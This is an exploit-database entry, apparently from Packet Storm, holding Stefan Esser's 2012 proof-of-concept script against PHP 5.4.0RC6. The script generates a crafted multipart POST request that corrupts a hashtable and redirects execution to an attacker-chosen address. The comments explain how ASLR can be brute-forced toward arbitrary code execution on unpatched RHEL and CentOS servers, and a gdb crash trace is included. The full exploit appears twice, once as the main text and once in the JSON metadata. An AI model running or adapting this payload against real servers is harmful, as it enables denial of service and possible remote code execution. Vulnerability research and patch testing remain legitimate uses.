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PHP 5.4.0RC6 Denial Of Service

2012-02-05T00:00:00

ID PACKETSTORM:109450
Type packetstorm
Reporter Stefan Esser
Modified 2012-02-05T00:00:00

Description

                                        
                                            `&lt;?php  
/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111  
(C) Copyright 2012 Stefan Esser  
PHP 5.3.9 requires you to know the address of a writable address filled with NULL.  
32bit requires you to create a fake 32bit Hashtable instead of a 64bit one  
Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000  
tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX  
better exploit might be possible after deeper research + heap massage  
This specific attack only works if there is no Suhosin-Patch -&gt; RHEL, CentOS  
(gdb) c  
Continuing.  
Program received signal SIGSEGV, Segmentation fault.  
0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1,  
__zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)  
at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398  
398 ht-&gt;pDestructor(p-&gt;pData);  
(gdb) i r  
rax 0x7fd9583352a0 140571464389280  
rbx 0x0 0  
rcx 0x8 8  
rdx 0x111111111111111 76861433640456465  
rsi 0x7fd95a077b08 140571495070472  
rdi 0x7fd9583352a0 140571464389280  
rbp 0x7fff75c47ae0 0x7fff75c47ae0  
rsp 0x7fff75c47a80 0x7fff75c47a80  
r8 0x7fff75c47bc8 140735169199048  
r9 0x1 1  
r10 0x6238396661373430 7077469926293189680  
r11 0x7fd962f4c8e0 140571644840160  
r12 0x7fd966b91da8 140571708038568  
r13 0x0 0  
r14 0xffffffff00000001 -4294967295  
r15 0x7fd964b10538 140571673953592  
rip 0x7fd959ca5f9d 0x7fd959ca5f9d &lt;_zend_hash_index_update_or_next_insert+477&gt;  
eflags 0x10206 [ PF IF RF ]  
cs 0x33 51  
ss 0x2b 43  
ds 0x0 0  
es 0x0 0  
fs 0x0 0  
gs 0x0 0  
(gdb) x/5i $rip  
=&gt; 0x7fd959ca5f9d &lt;_zend_hash_index_update_or_next_insert+477&gt;: callq *%rdx  
0x7fd959ca5f9f &lt;_zend_hash_index_update_or_next_insert+479&gt;: cmpl $0x8,-0x3c(%rbp)  
0x7fd959ca5fa3 &lt;_zend_hash_index_update_or_next_insert+483&gt;: jne 0x7fd959ca6031 &lt;_zend_hash_index_update_or_next_insert+625&gt;  
0x7fd959ca5fa9 &lt;_zend_hash_index_update_or_next_insert+489&gt;: mov -0x18(%rbp),%rax  
0x7fd959ca5fad &lt;_zend_hash_index_update_or_next_insert+493&gt;: mov 0x10(%rax),%rax  
(gdb)  
*/  
$boundary = md5(microtime());  
$varname = "xxx";  
$payload = "";  
$payload .= "--$boundary\n";  
$payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."\n\n";  
$payload .= chr(16);  
for ($i=1; $i&lt;7*8; $i++) {  
$payload .= chr(0);  
}  
for ($i=1; $i&lt;8; $i++) {  
$payload .= "\x11";  
}  
$payload .= chr(1);  
for ($i=16+48+1; $i&lt;128; $i++) {  
$payload .= chr(0);  
}  
$payload .= "\n";  
for ($i=0; $i&lt;1000; $i++) {  
$payload .= "--$boundary\n";  
$payload .= 'Content-Disposition: form-data; name="aaa'.$i.'"'."\n\n";  
$payload .= "aaa\n";  
}  
$payload .= "--$boundary\n";  
$payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."\n\n";  
$payload .= "aaa\n";  
$payload .= "--$boundary\n";  
$payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."\n\n";  
$payload .= "aaa\n";  
$payload .= "--$boundary--\n";  
echo "POST /index.php HTTP/1.0\n";  
echo "Content-Type: multipart/form-data; boundary=$boundary\n";  
echo "Content-Length: ",strlen($payload),"\n";  
echo "\n";  
echo "$payload";  
?&gt;  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:109450", "type": "packetstorm", "bulletinFamily": "exploit", "title": "PHP 5.4.0RC6 Denial Of Service", "description": "", "published": "2012-02-05T00:00:00", "modified": "2012-02-05T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/109450/PHP-5.4.0RC6-Denial-Of-Service.html", "reporter": "Stefan Esser", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:21:45", "viewCount": 4, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-11-03T10:21:45", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:21:45", "rev": 2}, "vulnersScore": 0.1}, "sourceHref": "https://packetstormsecurity.com/files/download/109450/php540rc6-dos.txt", "sourceData": "`<?php \n/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111 \n(C) Copyright 2012 Stefan Esser \nPHP 5.3.9 requires you to know the address of a writable address filled with NULL. \n32bit requires you to create a fake 32bit Hashtable instead of a 64bit one \nBecause this vulnerability also allows leaking memory addresses ASLR can be \"semi\"-defeated. This means around 4000 \ntries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX \nbetter exploit might be possible after deeper research + heap massage \nThis specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS \n(gdb) c \nContinuing. \nProgram received signal SIGSEGV, Segmentation fault. \n0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1, \n__zend_filename=0x7fd95a061b68 \"/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h\", __zend_lineno=350) \nat /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398 \n398 ht->pDestructor(p->pData); \n(gdb) i r \nrax 0x7fd9583352a0 140571464389280 \nrbx 0x0 0 \nrcx 0x8 8 \nrdx 0x111111111111111 76861433640456465 \nrsi 0x7fd95a077b08 140571495070472 \nrdi 0x7fd9583352a0 140571464389280 \nrbp 0x7fff75c47ae0 0x7fff75c47ae0 \nrsp 0x7fff75c47a80 0x7fff75c47a80 \nr8 0x7fff75c47bc8 140735169199048 \nr9 0x1 1 \nr10 0x6238396661373430 7077469926293189680 \nr11 0x7fd962f4c8e0 140571644840160 \nr12 0x7fd966b91da8 140571708038568 \nr13 0x0 0 \nr14 0xffffffff00000001 -4294967295 \nr15 0x7fd964b10538 140571673953592 \nrip 0x7fd959ca5f9d 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477> \neflags 0x10206 [ PF IF RF ] \ncs 0x33 51 \nss 0x2b 43 \nds 0x0 0 \nes 0x0 0 \nfs 0x0 0 \ngs 0x0 0 \n(gdb) x/5i $rip \n=> 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>: callq *%rdx \n0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>: cmpl $0x8,-0x3c(%rbp) \n0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>: jne 0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625> \n0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>: mov -0x18(%rbp),%rax \n0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>: mov 0x10(%rax),%rax \n(gdb) \n*/ \n$boundary = md5(microtime()); \n$varname = \"xxx\"; \n$payload = \"\"; \n$payload .= \"--$boundary\\n\"; \n$payload .= 'Content-Disposition: form-data; name=\"'.$varname.'\"'.\"\\n\\n\"; \n$payload .= chr(16); \nfor ($i=1; $i<7*8; $i++) { \n$payload .= chr(0); \n} \nfor ($i=1; $i<8; $i++) { \n$payload .= \"\\x11\"; \n} \n$payload .= chr(1); \nfor ($i=16+48+1; $i<128; $i++) { \n$payload .= chr(0); \n} \n$payload .= \"\\n\"; \nfor ($i=0; $i<1000; $i++) { \n$payload .= \"--$boundary\\n\"; \n$payload .= 'Content-Disposition: form-data; name=\"aaa'.$i.'\"'.\"\\n\\n\"; \n$payload .= \"aaa\\n\"; \n} \n$payload .= \"--$boundary\\n\"; \n$payload .= 'Content-Disposition: form-data; name=\"'.$varname.'[]\"'.\"\\n\\n\"; \n$payload .= \"aaa\\n\"; \n$payload .= \"--$boundary\\n\"; \n$payload .= 'Content-Disposition: form-data; name=\"'.$varname.'[0]\"'.\"\\n\\n\"; \n$payload .= \"aaa\\n\"; \n$payload .= \"--$boundary--\\n\"; \necho \"POST /index.php HTTP/1.0\\n\"; \necho \"Content-Type: multipart/form-data; boundary=$boundary\\n\"; \necho \"Content-Length: \",strlen($payload),\"\\n\"; \necho \"\\n\"; \necho \"$payload\"; \n?> \n \n`\n", "immutableFields": []}